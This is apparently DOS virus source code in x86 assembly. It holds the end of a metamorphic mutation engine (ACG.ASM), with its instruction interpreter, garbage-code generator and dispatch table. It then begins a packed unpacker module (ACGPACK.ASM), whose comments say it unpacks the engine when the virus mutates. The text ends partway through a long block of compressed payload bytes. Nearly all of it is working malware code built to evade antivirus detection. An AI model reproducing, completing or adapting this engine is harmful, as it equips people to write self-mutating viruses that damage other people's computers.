ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_IF proc near call _Get_ACGCODE_Byte ; CL mov cl, al call _get_ACGCODE_Word ; number of bytes mov edx, D_SEL_DWORD shr edx, cl and dl, 1 shr cl, 5 ; (CL=0 --> IF ; CL=1 --> IFNOT) cmp cl, dl jnz locret_0_2B5B ; jump if we decide to include code mov cx, ax loc_0_2B55: call _Get_ACGCODE_Byte loop loc_0_2B55 ; skip all these ACGCODES locret_0_2B5B: retn ACGCODE_IF endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_VOID proc near mov SaveFlags, 0 ; allow modification of flags call _Generate_4times_Garbage call _Generate_4times_Garbage jmp Generate_4times_Garbage ACGCODE_VOID endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_CSPREF proc near mov byte ptr CSPREF, 1 mov CSPREF_2, 1 retn ACGCODE_CSPREF endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_DSPREF proc near mov byte ptr CSPREF, 0 mov CSPREF_2, 0 retn ACGCODE_DSPREF endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_SETSTACK proc near call _get_offset_Variable ; get reg/mem where SS is stored mov si, 2 ; (select SS) call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 8Eh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Generate_ModRM ; MOV SS,reg/mem call _get_offset_Variable ; get reg/mem where SP is stored cmp Instruction, 2Eh jnz loc_0_2BA8 cmp edi, 8 jb loc_0_2BA8 call _Store_Instruction_Byte2 ; if a CS was needed for SS, use it for SP (because once it is generated it wont be generated for a second memory access) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 2Eh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2BA8: ; reg SP mov esi, 4 mov bh, 0FFh mov bl, 2 mov cl, 2 call Do_Instruction ; MOV SP,reg/mem retn ACGCODE_SETSTACK endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACG_Mutate proc near and D_ERRCODE, 0 ; error code mov saved_SP, sp ; save SP mov edx, D_STSD mov pACGCODE, edx ; save pointer to ACGCODE mov Memory_Segment_Register, 0FFh ; no prefix stored mov Mutation_Level, 5 or Return_Offset, 0FFFFh cld xor di, di ; ES = D_CODESEG mov cx, D_CODESIZE ; mutated code size Fill_Output: ; get random word call _getRND_in_DX mov al, dh push cx mov cl, dl rol al, cl ; play with it :-) pop cx stosb ; store random byte loop Fill_Output mov cx, 8000h Fill_Output2: ; get random offset call _getRND_in_DX cmp dx, D_CODESIZE jnb outside_codesize mov di, dx call _getRND_in_DX ; get random word mov es:[di], dh ; store random byte outside_codesize: loop Fill_Output2 push es push fs pop es ; ES = D_CODEMAPSEG assume ds:nothing xor di, di mov cx, ds:D_CODESIZE mov al, 0 repe stosb ; store zeros in CODEMAPSEG pop es push es push gs pop es ; ES = D_WPSEG xor di, di mov cx, 11Ch mov al, 0 repe stosb ; store zeros in workplace pop es mov dword ptr fs:0, 1010101h ; mark first 4 bytes as used (reserve space for jump) and ds:Instruction_Offset, 0 mov bx, offset Instruction_Offset Init_Array1: ; reset variables mov byte ptr [bx], 0 inc bx cmp bx, offset DecryptType0 jnz Init_Array1 mov byte ptr [bx], 0FFh ; reset variable xor bx, bx Init_Array2: ; all regs free for use now mov byte ptr ds:Free_AX[bx], 1 inc bx cmp bx, 10h jb Init_Array2 call ds:_getRND_in_DX mov bx, dx and bx, 1Ch mov eax, dword ptr ds:Segment_Table[bx] ; choose segments mov dword ptr ds:Segment_Selection, eax ; store selection test byte ptr ds:D_SEL_DWORD, 1 jnz Dont_Include_ACG call get_Space_for_StaticData mov eax, ds:StaticData_ACGCODES_Pointer mov ds:StaticData_ACGCODES_Start, eax Dont_Include_ACG: call Choose_Encryption call ds:_getRND_in_EDX mov ds:dword_0_26F, edx call ds:_getRND_in_DX xchg ax, dx call ds:_getRND_in_DX sub ax, dx jnb loc_0_2C91 neg ax loc_0_2C91: mov ds:RandomWORD1, ax Next_ACGCODE: ; allow modification of flags mov ds:SaveFlags, 0 Next_ACGCODE2: call ds:_Get_ACGCODE_Byte push ax mov si, offset TABLE_ACG_CODES Check_ACG_Code: pop bx lodsw or ax, ax mov ds:ErrorCode, 24h ; 24h means invalid ACG-Code jz loc_0_202 mov cl, 40h cmp ax, offset ACGCODE_Operation jz loc_0_2CCD mov cl, 20h cmp ax, offset ACGCODE_Jump jz loc_0_2CCD mov cl, 4 test ax, 4000h jnz loc_0_2CCD mov cl, 10h test ax, 8000h jnz loc_0_2CCD mov cl, 1 loc_0_2CCD: and ax, 3FFFh xchg ax, dx ; DX = routine lodsb push bx sub bl, al cmp bl, cl jnb Check_ACG_Code inc sp inc sp xchg ax, bx ; AX = ACG code (relative to base code that DX routine handles) call dx ; interpret ACG code jmp short Next_ACGCODE ACG_Mutate endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Finish_Compilation proc near inc sp inc sp xor ax, ax xor si, si loc_0_2CE6: cmp byte ptr fs:[si], 1 sbb ax, 0FFFFh mov byte ptr fs:[si], 0 inc si cmp si, ds:D_CODESIZE jb loc_0_2CE6 mov ds:D_USED_BYTES, ax ACG_Exit2: retn ACGCODE_Finish_Compilation endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TABLE_ACG_CODES dw offset ACGCODE_Declare_Local_Variable+4000h db 4 ; ACG-Codes 04..07 dw offset ACGCODE_Free_Local_Variable db 3 ; ACG-Code 03 dw offset ACGCODE_Offset db 0Eh ; ACG-Code 0E dw offset ACGCODE_Prefix_Segment+8000h db 10h ; ACG-Code 10..1F dw offset ACGCODE_Operation db 40h ; ACG-Codes 40..7F dw offset ACGCODE_Inc+4000h db 38h ; ACG-Codes 38..3B dw offset ACGCODE_Dec+4000h db 3Ch ; ACG-Codes 3C..3F dw offset ACGCODE_Push+4000h db 30h ; ACG-Codes 30..33 dw offset ACGCODE_Pop+4000h db 34h ; ACG-Codes 34..37 dw offset ACGCODE_MOV_seg_mem+8000h db 0C0h ; ACG-Codes C0..CF dw offset ACGCODE_MOV_mem_seg+8000h db 0E0h ; ACG-Codes E0..EF dw offset ACGCODE_Declare_IP db 8 ; ACG-Code 08 dw offset ACGCODE_Declare_Target_Jump db 9 ; ACG-Code 09 dw offset ACGCODE_Adjust_and_Jump db 0Ah ; ACG-Code 0A dw offset ACGCODE_Jump db 80h ; ACG-Codes 80..9F dw offset ACGCODE_Declare_Global_Variable db 0Bh ; ACG-Code 0B dw offset ACGCODE_Proc db 28h ; ACG-Code 28 dw offset ACGCODE_EndProc db 29h ; ACG-Code 29 dw offset ACGCODE_Return_Variable db 2Ah ; ACG-Code 2A dw offset ACGCODE_Call_Proc db 2Bh ; ACG-Code 2B dw offset ACGCODE_ASM db 2Ch ; ACG-Code 2C dw offset ACGCODE_GETSD db 25h ; ACG-Code 25 dw offset ACGCODE_STARTSD db 24h ; ACG-Code 24 dw offset ACGCODE_STATICDATA db 26h ; ACG-Code 26 dw offset ACGCODE_SAVEFLAGS db 20h ; ACG-Code 20 dw offset ACGCODE_FREEREGS db 0F1h ; ACG-Code F1 dw offset ACGCODE_ALLOCREGS db 0F2h ; ACG-Code F2 dw offset ACGCODE_IF db 0F0h ; ACG-Code F0 dw offset ACGCODE_Rotate+4000h db 0F4h ; ACG-Codes F4..F7 dw offset ACGCODE_Shift+4000h db 0F8h ; ACG-Codes F8..FB dw offset ACGCODE_VOID db 0FEh ; ACG-Code FE dw offset ACGCODE_CSPREF db 2 ; ACG-Code 02 dw offset ACGCODE_DSPREF db 1 ; ACG-Code 01 dw offset ACGCODE_SETSTACK db 27h ; ACG-Code 27 dw offset ACGCODE_Finish_Compilation db 0FFh ; ACG-Code FF dw 0 ACG_End db 0F0h seg000 ends end ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ACG.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ACGPACK.ASM]ÄÄÄ ;When the virus wants to mutate, its metamorphic code decrypts this routine, ;which in turn unpacks the metamorphic engine code. ;If you want to debug the virus highly metamorphic code, until it reaches ;the "Unpacker_Start" label, you should try the ACG compiler package, which ;must be somewhere on internet. ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Regular seg000 segment byte public '' use16 assume cs:seg000 org 100h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing off_0_100 dw offset Unpacker_End - offset Unpacker_Start ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Unpacker_Start: push ds push es push cs pop ds assume ds:seg000 push cs pop es assume es:seg000 mov si, offset Unpacker_End-1 ; end of unpacker mov di, 3FFFh ; end of 16 Kb mov cx, offset Unpacker_End - offset Unpacker_Data std ; backwards repe movsb ; copy compress data + unpacker code cld ; forwards mov si, di inc si ; ESI = start of compressed data mov di, 100h ; EDI = 100 mov dx, 1 ; DX = 1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Jump_to_Unpack db 0E9h dw (4000h - (offset Unpacker_End - offset Unpack)) - offset Unpacker_Data Unpacker_Data db 0C8h, 5, 8Bh, 32h, 3,0C0h, 33h, 91h,0F2h, 2Ch, 30h, 22h, 5Eh, 17h, 1Ch, 90h db 7, 12h, 8, 0, 34h, 0,0EAh,0C1h, 92h, 75h, 84h, 4Ah,0C4h,0C4h, 38h, 45h db 24h, 32h, 1Dh, 6Ch,0D0h,0B2h,0F0h, 6Fh, 22h, 75h,0D1h, 2, 13h, 7Ch, 2Ah, 65h db 0E8h, 4Eh, 29h, 87h, 63h, 90h, 8Ah, 3Fh,0CEh,0D4h, 4,0E3h,0BBh, 8,0D6h,0A5h db 0C9h, 68h, 2, 2Ah,0C2h, 9Fh, 8Dh,0C4h, 24h,0FCh,0AFh, 44h, 1Bh, 12h,0FEh, 59h db 0C9h, 84h, 25h,0FCh,0FCh, 8Bh, 6Ch, 49h, 81h, 63h, 23h, 26h, 85h, 43h, 73h,0B2h db 8Bh, 6Eh, 61h,0CAh,0B4h, 41h, 85h,0FFh, 20h,0C1h,0BFh, 44h, 20h,0BAh, 21h, 3Ah db 25h, 1Eh, 48h,0F5h, 1Eh, 1Ch,0B9h, 8, 75h, 92h, 57h, 1, 59h, 56h, 46h, 97h db 28h, 50h,0E9h, 76h, 2Ah,0CBh, 84h, 6Bh, 2Eh, 54h, 16h, 62h, 8Ch, 70h, 5Eh, 48h db 29h,0F0h, 81h, 80h, 30h,0ACh, 14h, 3Ah, 7Ah, 0, 8Dh, 1, 61h, 3, 89h, 80h db 24h, 78h,0E8h,0C0h, 0Ah, 4Dh, 85h, 6Ah, 0Ah,0CEh, 44h, 40h,0B8h, 5,0C4h, 12h db 0C4h, 9Ch,0B0h, 59h, 62h, 4Ah, 98h, 27h, 19h, 19h, 8, 34h, 28h, 56h, 6Ah, 0Ah db 3, 8, 77h, 55h, 6Dh, 35h, 80h,0FFh,0B5h,0D5h, 1,0F4h,0AAh, 47h, 11h, 0Eh db 62h, 51h,0B8h, 0Eh, 4Bh, 7,0A5h, 67h,0A7h, 66h, 54h,0A8h, 93h,0F3h, 4Bh, 9 db 0DEh, 2, 4Dh,0FEh, 9, 19h, 78h,0D4h, 3, 22h, 9Ch, 2Dh, 44h, 48h, 61h, 8 db 0D4h, 61h, 0Bh, 8Bh, 20h, 1Ch,0F6h, 18h, 81h, 6Fh, 2Eh, 40h, 8Bh, 7, 0Fh,0C5h db 12h,0BEh,0E0h, 82h, 3Fh,0F8h, 8Fh,0F0h,0F0h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh, 7 db 0FFh,0FFh, 0Fh,0E0h,0FFh, 1Fh,0C0h,0FFh, 3Fh, 80h,0FFh,0FFh, 0,0FFh,0FFh,0FFh db 0FEh,0FFh,0FFh, 7Fh,0FFh,0FFh,0FFh, 0,0FFh,0FFh, 1,0FCh,0FFh, 3,0F8h,0FFh db 1Ah, 3Dh, 80h,0FFh,0C4h, 5, 33h,0E3h, 49h, 28h, 28h, 10h,0B8h, 1,0DDh,0D4h db 4Ch, 5Ch, 78h, 94h, 27h, 8Eh, 90h, 38h, 1Dh, 60h, 0Bh, 0Ah, 1Bh,0A0h,0C5h, 1Eh db 0A2h,0D2h, 6, 41h,0C3h,0B0h, 90h, 33h, 7Bh,0E6h, 12h, 5Dh, 4Eh,0B8h, 80h,0B8h db 5, 61h, 2Bh, 1Ch, 33h, 58h,0F0h, 5Fh, 8Fh,0DEh, 80h, 14h,0E9h, 41h, 3Dh,0D0h db 77h, 90h, 7Eh, 2, 9,0D0h,0D2h, 53h, 4Eh, 7Fh, 5Eh,0D0h, 60h,0EFh,0E0h, 89h db 0D2h,0E8h, 5Bh, 31h,0F5h,0C0h, 84h, 7, 3Dh, 10h, 2Ah, 4Ch, 4Ch, 3Dh, 2Ch,0BBh db 38h, 45h, 58h, 5Bh, 97h, 86h, 0Ah, 3Ch, 18h, 2Dh, 7Eh, 9Fh,0A1h, 64h, 6Eh, 68h db 0F0h,0F0h,0BEh, 33h,0A0h, 2, 75h, 40h, 20h,0ABh,0C6h, 1, 95h, 29h, 4Bh, 1Dh db 1Bh,0A0h, 6Dh,0D1h, 1Dh, 32h,0E4h, 64h, 3, 40h, 89h, 87h,0E9h, 9Bh,0B2h,0B8h db 1Dh, 2,0F9h, 6, 12h, 1, 61h, 29h, 32h,0DDh, 69h, 4,0FBh, 2Fh, 0Fh, 20h db 2Eh,0B9h, 50h, 87h, 62h,0C2h,0B2h, 27h,0ABh, 49h, 6Fh,0F9h, 31h, 81h, 3Eh,0DFh db 1Eh, 87h, 7Dh,0FAh, 5Bh, 76h, 74h,0CCh, 81h, 32h,0F1h, 0,0D5h,0BFh,0A2h, 5Ch db 6, 6Bh, 41h,0AFh, 96h, 79h, 8Ch,0BCh,0BCh, 3Ah, 4Fh,0B4h, 7, 8Bh, 1Ch, 7Ch db 94h,0ADh, 78h, 69h,0D7h, 83h, 0Bh, 73h, 22h, 44h, 22h,0BCh, 5Ch, 91h,0FAh, 81h db 8Fh, 0Ch, 32h, 84h, 4Eh,0DDh, 34h, 0Dh, 69h,0A4h, 0Eh,0B7h,0C0h, 6Bh, 1Bh, 90h db 47h, 74h, 25h,0EFh, 82h, 3Ch,0F1h, 50h, 2Ch, 91h,0ACh, 87h, 90h, 1Fh, 4Ah, 94h db 82h, 0Eh, 63h,0A8h, 3Eh,0AFh,0C3h,0EFh,0B4h, 5,0D7h, 3Ah,0FDh,0C2h, 78h,0B4h db 56h,0EBh,0CAh, 19h,0ADh, 2Ch,0A4h, 68h, 80h, 1Ch, 20h, 7Ah, 16h,0C0h, 98h, 6Bh db 0E1h, 17h,0E2h, 3Fh, 7Dh,0CDh, 0Bh, 1Eh, 80h, 31h, 32h, 1Dh, 27h, 0Eh, 1Ah,0A0h db 0D9h,0FEh, 2,0CDh,0A7h,0D0h, 54h,0F4h, 96h, 52h,0AAh, 5Bh, 1, 5Eh, 7Ch, 18h db 83h, 4Eh,0E9h, 0Ah, 33h, 17h, 9Ch, 63h,0F7h, 2Fh, 10h, 80h, 1Bh, 3Dh, 67h, 4 db 51h,0E1h,0C9h, 0,0D0h, 3Ah, 87h, 36h, 40h, 67h, 9Ah, 0Fh,0D1h, 74h, 8, 37h db 4Ch,0BFh, 47h,0B4h,0EDh, 5Ch, 51h,0B4h,0FFh, 84h,0A1h,0EBh,0DCh, 42h,0A2h, 2Ch db 72h,0F8h,0AFh,0D1h,0EBh,0FCh, 55h, 99h, 5Ch, 22h, 2Ah,0BBh,0C3h,0BEh, 68h,0A9h db 0CDh,0C3h,0A2h, 29h, 39h, 34h, 15h, 60h,0EEh, 1Dh, 32h,0DAh,0E1h,0F3h,0D2h, 11h db 0B6h, 2Dh, 58h, 2, 94h, 22h, 5, 78h, 67h, 44h, 54h,0F9h, 15h, 6Fh,0DDh, 78h db 6,0FEh, 21h, 16h, 60h,0CCh,0BAh,0E3h, 7Dh, 3Ch, 3Ch,0DEh, 20h, 6Ch, 10h, 3 db 33h,0B5h,0A0h, 27h, 0, 9Ch, 6Eh,0AAh, 35h, 3Ch, 98h,0D9h,0CCh, 74h, 8Dh, 7Dh db 45h, 50h, 2Eh,0E8h, 62h, 6Fh, 86h,0B6h,0A2h, 9, 29h,0B2h, 23h, 0, 86h, 7Ah db 27h, 27h,0DEh, 0Eh, 3Eh,0BCh, 2Bh,0A7h,0EAh, 6Ch, 3,0BCh,0FAh,0A3h, 8Bh, 0Eh db 74h, 58h, 98h, 3, 0Dh, 60h,0CFh, 46h, 9Ch, 58h, 31h, 32h, 76h, 73h, 45h, 50h db 2Fh,0C2h, 22h, 5, 0,0D2h,0EAh, 87h, 13h,0DBh, 6Bh, 7Ch, 36h, 7,0B9h,0A0h db 6Ah, 83h, 61h, 81h, 9, 1Eh, 20h, 0Dh, 5Eh, 47h, 10h,0A6h, 68h, 63h,0E4h, 30h db 8Ch,0DDh, 11h,0C3h, 30h, 92h, 19h, 29h,0C1h, 58h, 66h, 84h, 9Dh, 0, 28h, 9Eh db 73h, 1,0EBh,0C0h,0D7h,0FFh, 9Eh,0A0h, 1,0A2h, 97h, 32h,0B1h, 30h,0FCh, 69h db 0CEh, 24h, 83h, 35h, 16h, 26h, 20h, 2Ah, 4,0C7h, 41h, 2Ch, 14h, 83h, 39h,0D3h db 6Bh, 81h,0CEh,0D8h, 6Dh,0EBh,0B4h,0FCh, 67h, 6, 8Ah, 94h, 74h,0B3h, 1Fh,0BBh db 0B9h,0E8h, 5Bh, 7, 16h, 0Ah,0ACh,0C1h, 14h,0D2h, 57h, 45h,0E1h, 59h, 30h,0EDh db 2Dh, 7Ch,0ADh, 0Ah, 24h, 5Ah, 51h, 89h, 2, 1Dh, 3,0FAh, 84h, 51h,0BBh,0C0h db 0D4h, 1Ah,0E8h, 8Ah, 1,0C4h, 8Ah,0FAh, 80h,0C0h, 9Ch, 2Fh, 5,0ACh, 3,0C2h db 1Bh, 64h, 65h,0A9h, 88h,0C1h, 0Eh, 98h, 17h, 63h, 0Bh, 6, 53h,0A4h, 2,0BDh db 0B4h, 92h,0C3h, 82h,0F0h, 30h, 80h,0CEh,0EEh, 0Ah, 74h, 4,0E6h, 27h, 63h,0CFh db 5Eh, 28h, 3, 8Ch, 7Fh,0D3h, 16h,0A0h,0DFh,0C1h, 3Ah, 0Fh,0A6h,0A8h,0F0h, 81h db 2Dh, 59h,0D0h, 27h, 90h, 0Fh,0D0h, 30h,0EBh, 62h, 83h, 26h,0A0h, 70h, 33h, 53h db 0E3h, 8Eh, 72h, 10h, 9Fh,0DBh, 8Ah, 94h,0C9h, 38h, 20h,0BDh,0C9h, 5Bh, 1, 80h db 20h, 38h,0C6h, 6, 7, 0Ah,0CEh, 5Fh, 5Fh,0AAh, 25h, 72h,0F5h, 28h,0D6h,0D0h db 8Bh, 36h,0F4h, 96h, 8,0DDh,0DAh, 35h, 61h, 0Ah, 88h, 5,0F3h,0F1h, 94h, 0Dh db 0C0h, 42h, 0,0AEh, 77h,0F9h, 2,0E0h, 51h, 0Bh, 1Bh,0F0h,0DAh, 0Ah, 3, 7Ah db 81h,0D2h,0D1h,0D0h, 61h,0A9h, 20h, 32h, 56h,0FCh, 17h,0D7h,0FEh, 2Eh,0A6h,0E9h db 0B4h, 0,0A9h, 84h, 6Ch, 6Eh,0DFh, 73h,0CDh, 34h,0FEh, 34h, 3, 10h,0FFh, 80h db 58h, 0Fh, 0Ch, 7Ch,0A3h,0FCh, 3Fh, 20h,0A2h, 2Ah,0FFh,0FFh, 65h,0EAh, 8Fh, 4Ah db 6Fh, 25h,0A4h,0AEh,0FFh, 3Fh, 3Ah, 16h,0B6h, 49h,0FCh,0FFh,0D0h, 4Ah,0D4h,0BDh db 84h, 3Ah,0FFh, 95h, 4, 9Fh, 63h, 0Eh, 10h, 76h, 40h, 1Eh,0A0h, 8Bh, 72h,0EFh db 35h, 45h, 1Ah, 4Eh, 6Eh, 50h, 34h, 4Bh,0B6h, 63h, 3Ch, 20h, 84h, 41h,0D0h,0B1h db 0CBh, 1Bh,0C8h, 6Bh, 0, 0Eh,0BCh,0D1h, 82h, 52h, 5Fh, 61h, 27h,0DDh, 5, 3Eh db 7,0F9h, 47h, 59h, 11h, 3Ah,0F7h, 3Eh,0D1h, 39h, 5Eh, 4Eh,0E6h, 20h,0F0h, 27h db 30h, 87h,0D2h,0B7h, 24h, 2Eh, 13h, 7,0F8h,0FAh,0D3h, 3Dh,0A8h, 6Fh, 8Ah, 43h db 48h, 5, 2Eh, 29h, 5Eh,0EAh,0E4h, 74h,0D6h, 99h,0FFh, 17h,0A3h, 53h, 6Ch, 8 db 6Fh,0ECh, 3,0FAh,0BFh, 70h, 47h,0A0h, 40h, 1Fh, 7Ah, 9, 82h, 2Eh,0BAh,0FBh db 30h, 0, 66h, 28h,0DBh, 31h, 0, 5Dh, 91h,0F8h,0BEh, 42h, 21h,0B0h, 0Fh, 90h db 0A5h,0F2h, 83h,0C8h, 56h, 14h, 3Ah, 7Fh, 69h, 33h,0C8h,0BAh, 12h, 3Dh, 48h, 7Ah db 0B8h, 22h, 4Fh,0F0h, 23h, 15h, 10h, 99h, 2, 75h,0C1h,0CEh,0F9h, 62h, 4Fh, 1Ch db 0DCh, 3Eh, 6, 64h, 7Ch, 16h, 68h, 3Ah, 2Bh, 80h, 1, 70h, 15h,0A0h, 13h, 30h db 0A8h, 4Ah, 80h, 34h, 18h, 96h,0F7h,0B7h,0AAh,0F1h, 1, 68h, 77h,0E8h,0FCh,0C3h db 1Ch,0D2h, 0Ah,0D9h,0DFh, 8Eh,0F9h,0BFh, 8Eh, 2, 66h,0CCh, 86h, 16h,0D2h, 9Ch db 7,0FDh, 67h, 77h,0F0h,0A0h, 67h, 82h, 14h, 90h,0D5h, 47h, 5Ah, 84h, 1Eh, 82h db 59h,0E8h,0C8h, 1Ah, 35h,0F6h,0A0h, 37h,0F8h, 7Fh, 20h,0F4h, 61h, 59h,0B4h, 48h db 0BEh,0C1h, 0Fh,0F1h, 39h, 5, 74h, 17h,0C2h, 7Fh, 8Ah, 7,0F4h,0C1h, 20h, 5Eh db 64h, 83h, 3Ah,0CDh,0F4h, 8, 24h,0EDh, 20h,0E8h, 1, 12h, 0Fh,0ADh, 6Ch, 6 db 0FDh, 34h, 57h, 44h, 3Fh, 5Ah, 6Bh, 27h, 38h, 22h, 58h,0D7h, 35h, 59h,0D0h,0E9h db 6, 9Ch, 3, 6,0EFh,0C8h, 63h, 2, 2Ah,0DDh, 30h,0C2h, 28h,0FDh, 2Ah, 7Dh db 33h, 15h, 7Ah, 80h, 72h, 7Ah, 10h,0A0h, 0, 5Ch, 65h, 17h,0A5h, 1Bh, 8Ch,0FEh db 4Ch, 40h, 67h, 37h, 69h,0B6h,0B7h,0C0h, 0Dh,0A5h,0A0h, 3, 2Eh,0BCh,0B9h,0C4h db 75h,0F7h, 80h, 80h, 4Eh, 1Dh, 2Ch, 66h,0C5h, 2Fh, 0Ch, 34h, 2, 8, 80h, 82h db 0D0h,0FFh, 30h, 15h, 6Fh, 26h,0FDh,0E3h, 9Fh, 75h, 64h,0D2h,0F3h, 4Fh, 0, 56h db 0D9h, 7Eh,0F8h, 1Fh,0B1h, 6Eh, 5Bh, 3Fh, 40h, 6Fh, 6Fh, 86h, 98h,0A6h, 19h, 9 db 79h,0A6h,0E6h, 46h,0E4h,0D3h, 45h,0B4h, 84h, 4Ah,0DBh,0ADh,0EFh,0D7h, 3, 33h db 6Ah, 2Ch,0D0h, 68h, 4Eh,0D1h,0DBh, 7Ah, 52h, 5Bh, 8Ah, 6Eh,0ABh, 20h, 58h, 5 db 0BCh, 45h, 61h, 32h, 47h,0E0h, 2Eh,0D8h,0E8h, 97h,0A2h,0FFh, 94h,0B5h, 86h, 96h db 47h,0BFh,0F6h,0A2h, 96h, 35h, 56h, 63h,0A2h,0E7h, 45h,0BFh,0E5h,0EDh, 55h,0E7h db 8Bh,0FEh, 9Fh, 70h,0FFh, 4Dh, 63h, 51h, 16h, 20h, 88h,0D3h, 2Fh,0E7h, 75h,0B7h db 8Ah, 92h, 39h, 34h, 68h, 6Ch, 91h, 16h, 1,0A0h,0F8h, 5Ah, 80h, 49h,0FAh,0D2h db 80h,0ADh, 1,0E2h, 85h,0E8h,0C8h,0E3h, 6, 4Ah, 2,0E5h, 16h, 28h, 23h, 94h db 0E5h, 82h,0B2h, 5Ah,0B0h, 3Ch, 4Bh, 23h, 96h, 0Eh, 8Bh, 96h, 62h,0D2h,0FBh, 13h db 0C0h, 98h,0A2h, 46h,0D2h, 5Dh, 3Eh,0AAh, 9Ah,0E9h, 37h, 52h, 5Fh, 7Eh, 33h, 0 db 42h, 37h, 94h, 61h, 5Dh,0E9h, 83h,0EBh, 6Fh, 80h, 41h, 23h,0FFh,0C6h, 0,0A1h db 0CAh, 36h, 40h,0E8h,0D2h,0F1h,0A1h,0DFh, 61h, 7,0B3h, 83h,0C7h,0C2h, 52h, 60h db 0C1h, 3Ah, 6Ah,0E8h, 7Ch, 8Dh, 33h, 9Eh,0FAh,0E9h,0E8h, 6, 88h, 8Dh,0A5h, 42h db 0F8h,0FFh, 1Dh,0EEh, 8Bh,0FFh,0DFh,0B2h, 5Bh,0EFh,0EBh, 11h, 2Bh, 67h,0F1h, 63h db 48h, 96h,0FFh,0FFh, 1Ah, 81h,0C5h, 1Fh, 42h,0FFh, 1Ch, 3Dh, 7Ch, 8Ch,0FFh, 97h db 19h,0FFh,0FFh,0BDh,0F8h,0FFh, 3Fh, 12h,0F8h,0BFh, 6Eh,0CBh, 9Bh,0D8h, 0Ch,0CBh db 43h, 9Fh, 2Fh,0F4h, 16h,0DDh,0D1h, 2, 96h, 15h, 33h, 53h, 24h, 47h, 93h,0FEh db 6Ah, 3Ah,0CBh,0F2h,0FFh,0DFh,0E2h, 25h,0C4h, 6Bh, 1Ah,0F1h,0F1h,0FFh, 5Fh, 60h db 83h,0A5h,0E7h, 1Fh, 1, 65h,0FEh,0DBh, 0Ch,0E8h,0FFh,0FFh,0A8h,0EFh,0F0h, 